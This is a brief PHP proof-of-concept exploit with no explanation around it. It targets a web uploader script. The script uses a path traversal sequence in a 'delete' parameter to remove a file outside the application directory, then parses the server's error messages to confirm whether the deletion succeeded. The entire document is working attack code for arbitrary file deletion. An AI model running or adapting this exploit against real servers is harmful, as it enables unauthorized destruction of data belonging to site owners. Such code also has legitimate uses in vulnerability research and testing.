<?php $strExistingFile = "files/secret.txt"; //Must exist, resides in /files by default $strToDelete = "\..\..\..\secret.txt"; //Designates 'secret.txt', sat one level above the application folder, for deletion $strUploadScript = "http://www.example.com/uploader/upload.php"; $objCurl = curl_init(); curl_setopt($objCurl, CURLOPT_URL, $strUploadScript."?delete=".$strExistingFile.$strToDelete); curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true); $strDump = curl_exec($objCurl); curl_close($objCurl); if(strpos($strDump, "No such file or directory") !== false) { echo("$strToDelete didn't exist. \n"); } else if(strpos($strDump, "Permission denied") !== false) { echo("Permission was denied when deleting $strToDelete. \n"); } else if(strpos($strDump, "function.unlink") !== false) { echo("An unexpected error occured when deleting $strToDelete. \n"); } else { echo("Looks as though deletion of $strToDelete was successful.\n"); } ?>